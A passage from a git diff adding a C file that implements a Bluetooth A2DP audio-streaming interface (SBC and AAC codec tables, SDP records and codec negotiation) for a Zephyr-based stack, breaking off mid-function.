diff --git a/service/stacks/zephyr/sal_a2dp_interface.c b/service/stacks/zephyr/sal_a2dp_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..956729f8e52254a459c109d29c4d68ca96cca0ef --- /dev/null +++ b/service/stacks/zephyr/sal_a2dp_interface.c @@ -0,0 +1,1938 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "sal_a2dp" + +#include <assert.h> +#include <math.h> +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +#include "a2dp_device.h" +#include "bt_list.h" +#include "sal_a2dp_sink_interface.h" +#include "sal_a2dp_source_interface.h" +#include "sal_connection_manager.h" +#include "sal_interface.h" +#include "sal_zblue.h" +#include "utils/log.h" + +#include "bt_uuid.h" + +#undef BT_UUID_DECLARE_16 +#undef BT_UUID_DECLARE_32 +#undef BT_UUID_DECLARE_128 +#include <zephyr/bluetooth/classic/sdp.h> + +#include <zephyr/bluetooth/classic/a2dp.h> +#include <zephyr/bluetooth/classic/a2dp_codec_sbc.h> + +#ifdef CONFIG_BLUETOOTH_A2DP +#include "a2dp_codec.h" + +#define A2DP_PEER_ENDPOINT_MAX 10 + +typedef enum { + A2DP_STATE_BIT_SIG_CONN = 0, + A2DP_STATE_BIT_MEDIA_CONN = 4, +} a2dp_state_bit_t; + +typedef enum { + A2DP_INT = 0, + A2DP_ACP = 1, +} a2dp_int_acp_t; + +struct zblue_a2dp_info_t { + struct bt_a2dp* a2dp; + struct bt_conn* conn; + struct bt_a2dp_stream* stream; + bt_address_t bd_addr; + struct bt_a2dp_ep* selected_peer_endpoint; + bt_list_t* peer_endpoint; + struct bt_a2dp_codec_cfg* config; + a2dp_int_acp_t int_acp; + uint8_t role; + bool is_cleanup; // cleanup flag,if true, free bt_a2dp_conn + + /* + * The upper 8 bits represent the status of the media channel, + * and the lower 8 bits represent the status of the signaling channel. + */ + uint8_t state; + bool disconnecting; // true if a disconnection is in progress. + uint8_t codec_type; // The codec type to be set during reconfiguration. +}; + +static bt_list_t* bt_a2dp_conn = NULL; + +static void bt_list_remove_a2dp_info(struct zblue_a2dp_info_t* a2dp_info); +static void bt_sal_a2dp_notify_connected(struct zblue_a2dp_info_t* a2dp_info); + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +static bt_status_t a2dp_source_disconnect(bt_controller_id_t id, bt_address_t* addr, void* user_data); +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static bt_status_t a2dp_sink_disconnect(bt_controller_id_t id, bt_address_t* addr, void* user_data); +#endif + +static void flag_reset(struct zblue_a2dp_info_t* a2dp_info) +{ + a2dp_info->state = 0x00; +} + +static void flag_set(struct zblue_a2dp_info_t* a2dp_info, a2dp_state_bit_t flag) +{ + a2dp_info->state |= (1 << flag); +} + +static void flag_clear(struct zblue_a2dp_info_t* a2dp_info, a2dp_state_bit_t flag) +{ + a2dp_info->state &= (~(1 << flag)); +} + +static bool flag_isset(struct zblue_a2dp_info_t* a2dp_info, a2dp_state_bit_t flag) +{ + return (a2dp_info->state >> flag) & 1; +} + +static bool flag_is_conn_none(struct zblue_a2dp_info_t* a2dp_info) +{ + if (flag_isset(a2dp_info, A2DP_STATE_BIT_SIG_CONN)) + return false; + + if (flag_isset(a2dp_info, A2DP_STATE_BIT_MEDIA_CONN)) + return false; + + return true; +} + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +NET_BUF_POOL_DEFINE(bt_a2dp_tx_pool, CONFIG_BT_MAX_CONN, CONFIG_ZBLUE_A2DP_SOURCE_BUF_SIZE, + CONFIG_BT_CONN_TX_USER_DATA_SIZE, NULL); + +/* codec information elements for the endpoint */ +static struct bt_a2dp_codec_ie sbc_src_ie = { + .len = 4, /* BT_A2DP_SBC_IE_LENGTH */ + .codec_ie = { + 0x2B, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0xFF, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, +}; + +static struct bt_a2dp_ep a2dp_sbc_src_endpoint_local = { + .codec_type = 0x00, /* BT_A2DP_SBC */ + .codec_cap = (struct bt_a2dp_codec_ie*)&sbc_src_ie, + .sep = { + .sep_info = { + .media_type = 0x00, /* BT_AVDTP_AUDIO */ + .tsep = 0, /* BT_AVDTP_SOURCE */ + }, + }, + .stream = NULL, +}; + +static struct bt_a2dp_codec_ie src_sbc_ie_default[] = { + { + .len = 4, + .codec_ie = { + 0x21, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x22, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x28, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, +}; + +static struct bt_a2dp_codec_cfg src_sbc_cfg_preferred[] = { + { + .codec_config = &src_sbc_ie_default[0], + }, + { + .codec_config = &src_sbc_ie_default[1], + }, + { + .codec_config = &src_sbc_ie_default[2], + }, +}; +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +/* codec information elements for the endpoint */ +static struct bt_a2dp_codec_ie sbc_snk_ie = { + .len = 4, /* BT_A2DP_SBC_IE_LENGTH */ + .codec_ie = { + 0x3F, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0xFF, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, +}; + +static struct bt_a2dp_ep a2dp_sbc_snk_endpoint_local = { + .codec_type = 0x00, /* BT_A2DP_SBC */ + .codec_cap = (struct bt_a2dp_codec_ie*)&sbc_snk_ie, + .sep = { + .sep_info = { + .media_type = 0x00, /* BT_AVDTP_AUDIO */ + .tsep = 1, /* BT_AVDTP_SINK */ + }, + }, + .stream = NULL, +}; + +static struct bt_a2dp_codec_ie snk_sbc_ie_default[] = { + { + .len = 4, + .codec_ie = { + 0x28, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x24, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x22, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x21, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x18, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x14, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x12, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, + { + .len = 4, + .codec_ie = { + 0x11, /* 16000 | 32000 | 44100 | 48000 | mono | dual channel | stereo | join stereo */ + 0x15, /* Block length: 4/8/12/16, subbands:4/8, Allocation Method: SNR, Londness */ + 0x02, /* min bitpool */ + CONFIG_ZBLUE_A2DP_SBC_MAX_BIT_POOL, /* max bitpool */ + }, + }, +}; + +static struct bt_a2dp_codec_cfg snk_sbc_cfg_preferred[] = { + { + .codec_config = &snk_sbc_ie_default[0], + }, + { + .codec_config = &snk_sbc_ie_default[1], + }, + { + .codec_config = &snk_sbc_ie_default[2], + }, + { + .codec_config = &snk_sbc_ie_default[3], + }, + { + .codec_config = &snk_sbc_ie_default[4], + }, + { + .codec_config = &snk_sbc_ie_default[5], + }, + { + .codec_config = &snk_sbc_ie_default[6], + }, + { + .codec_config = &snk_sbc_ie_default[7], + } +}; +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +static struct bt_a2dp_codec_ie aac_src_ie = { + .len = 6, /* BT_A2DP_MPEG_2_4_IE_LENGTH */ + .codec_ie = { + 0x80, /* MPEG2 AAC LC | MPEG4 AAC LC | MPEG AAC LTP | MPEG4 AAC Scalable | MPEG4 HE-AAC | MPEG4 HE-AACv2 | MPEG4 HE-AAC-ELDv2 */ + 0x01, /* 8000 | 11025 | 12000 | 16000 | 22050 | 24000 | 32000 | 44100 */ + 0x0C, /* 48000 | 64000 | 88200 | 96000 | Channels 1 | Channels 2 | Channels 5.1 | Channels 7.1 */ +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, +}; + +static struct bt_a2dp_ep a2dp_aac_src_endpoint_local = { + .codec_type = 0x02, /* BT_A2DP_SBC */ + .codec_cap = (struct bt_a2dp_codec_ie*)&aac_src_ie, + .sep = { + .sep_info = { + .media_type = 0x00, /* BT_AVDTP_AUDIO */ + .tsep = 0, /* BT_AVDTP_SOURCE */ + }, + }, + .stream = NULL, +}; + +static struct bt_a2dp_codec_ie src_aac_ie_default[] = { + { + .len = 6, + .codec_ie = { + 0x80, 0x01, 0x08, +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, + }, + { + .len = 6, + .codec_ie = { + 0x80, 0x01, 0x04, +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, + }, +}; + +static struct bt_a2dp_codec_cfg src_aac_cfg_preferred[] = { + { + .codec_config = &src_aac_ie_default[0], + }, + { + .codec_config = &src_aac_ie_default[1], + }, +}; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static struct bt_a2dp_codec_ie aac_snk_ie = { + .len = 6, /* BT_A2DP_MPEG_2_4_IE_LENGTH */ + .codec_ie = { + 0x80, /* MPEG2 AAC LC | MPEG4 AAC LC | MPEG AAC LTP | MPEG4 AAC Scalable | MPEG4 HE-AAC | MPEG4 HE-AACv2 | MPEG4 HE-AAC-ELDv2 */ + 0x01, /* 8000 | 11025 | 12000 | 16000 | 22050 | 24000 | 32000 | 44100 */ + 0x8C, /* 48000 | 64000 | 88200 | 96000 | Channels 1 | Channels 2 | Channels 5.1 | Channels 7.1 */ +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, +}; + +static struct bt_a2dp_ep a2dp_aac_snk_endpoint_local = { + .codec_type = 0x02, /* BT_A2DP_SBC */ + .codec_cap = (struct bt_a2dp_codec_ie*)&aac_snk_ie, + .sep = { + .sep_info = { + .media_type = 0x00, /* BT_AVDTP_AUDIO */ + .tsep = 1, /* BT_AVDTP_SINK */ + }, + }, + .stream = NULL, +}; + +static struct bt_a2dp_codec_ie snk_aac_ie_default[] = { + { + .len = 6, + .codec_ie = { + 0x80, 0x01, 0x08, +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, + }, + { + .len = 6, + .codec_ie = { + 0x80, 0x01, 0x04, +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, + }, + { + .len = 6, + .codec_ie = { + 0x80, 0x00, 0x18, +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, + }, + { + .len = 6, + .codec_ie = { + 0x80, 0x00, 0x14, +#ifdef A2DP_AAC_MAX_BIT_RATE + 0x80 | ((A2DP_AAC_MAX_BIT_RATE >> 16) & 0x7F), /* VBR | bit rate[22:16] */ + ((A2DP_AAC_MAX_BIT_RATE >> 8) & 0xFF), /* bit rate[15:8] */ + (A2DP_AAC_MAX_BIT_RATE & 0xFF), /* bit rate[7:0]*/ +#else + 0xFF, /* VBR | bit rate[22:16] */ + 0xFF, /* bit rate[15:8] */ + 0xFF, /* bit rate[7:0]*/ +#endif /* A2DP_AAC_MAX_BIT_RATE */ + }, + }, +}; + +static struct bt_a2dp_codec_cfg snk_aac_cfg_preferred[] = { + { + .codec_config = &snk_aac_ie_default[0], + }, + { + .codec_config = &snk_aac_ie_default[1], + }, + { + .codec_config = &snk_aac_ie_default[2], + }, + { + .codec_config = &snk_aac_ie_default[3], + } +}; +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ +#endif /* CONFIG_BLUETOOTH_A2DP_AAC_CODEC */ + +#define BT_SDP_RECORD(_attrs) \ + { \ + .attrs = _attrs, \ + .attr_count = ARRAY_SIZE((_attrs)), \ + } + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +static struct bt_sdp_attribute a2dp_source_attrs[] = { + BT_SDP_NEW_SERVICE, + BT_SDP_LIST( + BT_SDP_ATTR_SVCLASS_ID_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_AUDIO_SOURCE_SVCLASS) }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 16), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_UUID_AVDTP_VAL) }, ) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_UUID_AVDTP_VAL) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(0x0100U) }, ) }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROFILE_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_ADVANCED_AUDIO_SVCLASS) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(0x0104U) }, ) }, )), + BT_SDP_SERVICE_NAME("A2DPSource"), + BT_SDP_SUPPORTED_FEATURES(0x0001U), +}; + +static struct bt_sdp_record a2dp_source_rec = BT_SDP_RECORD(a2dp_source_attrs); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static struct bt_sdp_attribute a2dp_sink_attrs[] = { + BT_SDP_NEW_SERVICE, + BT_SDP_LIST( + BT_SDP_ATTR_SVCLASS_ID_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), /* 35 03 */ + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UUID16), /* 19 */ + BT_SDP_ARRAY_16(BT_SDP_AUDIO_SINK_SVCLASS) /* 11 0B */ + }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 16), /* 35 10 */ + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), /* 35 06 */ + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UUID16), /* 19 */ + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) /* 01 00 */ + }, + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT16), /* 09 */ + BT_SDP_ARRAY_16(BT_UUID_AVDTP_VAL) /* 00 19 */ + }, ) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), /* 35 06 */ + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UUID16), /* 19 */ + BT_SDP_ARRAY_16(BT_UUID_AVDTP_VAL) /* 00 19 */ + }, + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT16), /* 09 */ + BT_SDP_ARRAY_16(0x0103U) /* AVDTP version: 01 03 */ + }, ) }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROFILE_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), /* 35 08 */ + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), /* 35 06 */ + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UUID16), /* 19 */ + BT_SDP_ARRAY_16(BT_SDP_ADVANCED_AUDIO_SVCLASS) /* 11 0d */ + }, + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT16), /* 09 */ + BT_SDP_ARRAY_16(0x0104U) /* 01 04 */ + }, ) }, )), + BT_SDP_SERVICE_NAME("A2DPSink"), + BT_SDP_SUPPORTED_FEATURES(0x0001U), +}; + +static struct bt_sdp_record a2dp_sink_rec = BT_SDP_RECORD(a2dp_sink_attrs); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + +static void a2dp_peer_endpoint_destroy(void* data) +{ + struct bt_a2dp_ep* peer_endpoint = (struct bt_a2dp_ep*)data; + if (!peer_endpoint) + return; + + if (peer_endpoint->codec_cap) + free(peer_endpoint->codec_cap); + + free(data); +} + +static void a2dp_info_destroy(void* data) +{ + struct zblue_a2dp_info_t* a2dp_info = (struct zblue_a2dp_info_t*)data; + if (!a2dp_info) + return; + + if (a2dp_info->peer_endpoint) + bt_list_free(a2dp_info->peer_endpoint); + + if (a2dp_info->config) { + if (a2dp_info->config->codec_config) + free(a2dp_info->config->codec_config); + free(a2dp_info->config); + } + if (a2dp_info->selected_peer_endpoint) + a2dp_peer_endpoint_destroy(a2dp_info->selected_peer_endpoint); + + if (a2dp_info->stream) { + free(a2dp_info->stream); + a2dp_info->stream = NULL; + } + + free(data); +} + +static bool bt_a2dp_info_find_a2dp(void* data, void* context) +{ + struct zblue_a2dp_info_t* a2dp_info = (struct zblue_a2dp_info_t*)data; + if (!a2dp_info) + return false; + + return a2dp_info->a2dp == context; +} + +static bool bt_a2dp_info_find_addr(void* data, void* context) +{ + struct zblue_a2dp_info_t* a2dp_info = (struct zblue_a2dp_info_t*)data; + if (!a2dp_info || !context) + return false; + + return memcmp(&a2dp_info->bd_addr, context, sizeof(bt_address_t)) == 0; +} + +static bool bt_a2dp_info_find_conn(void* data, void* context) +{ + struct zblue_a2dp_info_t* a2dp_info = (struct zblue_a2dp_info_t*)data; + if (!a2dp_info) + return false; + + return a2dp_info->conn == context; +} + +bt_status_t bt_sal_a2dp_get_role(struct bt_conn* conn, uint8_t* a2dp_role) +{ + if (!bt_a2dp_conn) + return BT_STATUS_PARM_INVALID; + + struct zblue_a2dp_info_t* a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_conn, conn); + + if (!a2dp_info) + return BT_STATUS_PARM_INVALID; + + if (a2dp_info->role == SEP_INVALID) + return BT_STATUS_PARM_INVALID; + + *a2dp_role = a2dp_info->role; + + return BT_STATUS_SUCCESS; +} + +static a2dp_codec_index_t zephyr_codec_2_sal_codec(uint8_t codec) +{ + switch (codec) { + case BT_A2DP_SBC: + return BTS_A2DP_TYPE_SBC; + case BT_A2DP_MPEG1: + return BTS_A2DP_TYPE_MPEG1_2_AUDIO; + case BT_A2DP_MPEG2: + return BTS_A2DP_TYPE_MPEG2_4_AAC; + case BT_A2DP_VENDOR: + return BTS_A2DP_TYPE_NON_A2DP; + default: + BT_LOGW("%s, invalid codec: 0x%x", __func__, codec); + return BTS_A2DP_TYPE_SBC; + } +} + +static a2dp_codec_channel_mode_t zephyr_sbc_channel_mode_2_sal_channel_mode( + struct bt_a2dp_codec_sbc_params* sbc_codec) +{ + if (sbc_codec->config[0] & (A2DP_SBC_CH_MODE_JOINT | A2DP_SBC_CH_MODE_STEREO | A2DP_SBC_CH_MODE_DUAL)) { + return BTS_A2DP_CODEC_CHANNEL_MODE_STEREO; + } else if (sbc_codec->config[0] & A2DP_SBC_CH_MODE_MONO) { + return BTS_A2DP_CODEC_CHANNEL_MODE_MONO; + } else { + BT_LOGW("%s, invalid channel mode", __func__); + return BTS_A2DP_CODEC_CHANNEL_MODE_STEREO; + } +} + +static bt_status_t check_local_remote_codec_sbc(uint8_t* local_ie, uint8_t* remote_ie, uint8_t* prefered_ie, + struct zblue_a2dp_info_t* a2dp_info) +{ + uint8_t bit_map = 0; + uint8_t bit_pool_min = 0; + uint8_t bit_pool_max = 0; + + struct bt_a2dp_codec_sbc_params* local_sbc_codec = (struct bt_a2dp_codec_sbc_params*)local_ie; + struct bt_a2dp_codec_sbc_params* remote_sbc_codec = (struct bt_a2dp_codec_sbc_params*)remote_ie; + struct bt_a2dp_codec_sbc_params* prefered_sbc_codec = (struct bt_a2dp_codec_sbc_params*)prefered_ie; + + bit_map = (BT_A2DP_SBC_SAMP_FREQ(local_sbc_codec) & BT_A2DP_SBC_SAMP_FREQ(remote_sbc_codec) & BT_A2DP_SBC_SAMP_FREQ(prefered_sbc_codec)); + if (!bit_map) + return BT_STATUS_FAIL; + + bit_map = (BT_A2DP_SBC_CHAN_MODE(local_sbc_codec) & BT_A2DP_SBC_CHAN_MODE(remote_sbc_codec) & BT_A2DP_SBC_CHAN_MODE(prefered_sbc_codec)); + if (!bit_map) + return BT_STATUS_FAIL; + + bit_map = (BT_A2DP_SBC_BLK_LEN(local_sbc_codec) & BT_A2DP_SBC_BLK_LEN(remote_sbc_codec) & BT_A2DP_SBC_BLK_LEN(prefered_sbc_codec)); + if (!bit_map) + return BT_STATUS_FAIL; + + bit_map = (BT_A2DP_SBC_SUB_BAND(local_sbc_codec) & BT_A2DP_SBC_SUB_BAND(remote_sbc_codec) & BT_A2DP_SBC_SUB_BAND(prefered_sbc_codec)); + if (!bit_map) + return BT_STATUS_FAIL; + + bit_map = (BT_A2DP_SBC_ALLOC_MTHD(local_sbc_codec) & BT_A2DP_SBC_ALLOC_MTHD(remote_sbc_codec) & BT_A2DP_SBC_ALLOC_MTHD(prefered_sbc_codec)); + if (!bit_map) + return BT_STATUS_FAIL; + + bit_pool_min = MAX(local_ie[2], MAX(remote_ie[2], prefered_ie[2])); + bit_pool_max = MIN(local_ie[3], MIN(remote_ie[3], prefered_ie[3])); + + if (bit_pool_min > bit_pool_max) + return BT_STATUS_FAIL; + + a2dp_info->config = (struct bt_a2dp_codec_cfg*)malloc(sizeof(struct bt_a2dp_codec_cfg)); + a2dp_info->config->codec_config = (struct bt_a2dp_codec_ie*)malloc(sizeof(struct bt_a2dp_codec_ie)); + + memcpy(a2dp_info->config->codec_config->codec_ie, prefered_ie, 2 * sizeof(uint8_t)); + a2dp_info->config->codec_config->codec_ie[2] = bit_pool_min; + a2dp_info->config->codec_config->codec_ie[3] = bit_pool_max; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t check_local_remote_codec_aac(uint8_t* local_ie, uint8_t* remote_ie, uint8_t* prefered_ie, + struct zblue_a2dp_info_t* a2dp_info) +{ + return BT_STATUS_FAIL; +} + +static void find_remote_codec(struct bt_a2dp_ep* local_ep, struct zblue_a2dp_info_t* a2dp_info, struct bt_a2dp_codec_cfg* preferred) +{ + bt_status_t status; + bt_list_node_t* node; + bt_list_t* list; + struct bt_a2dp_ep* found_peer_endpoint; + + list = a2dp_info->peer_endpoint; + if (!list) + return; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + found_peer_endpoint = bt_list_node(node); + if 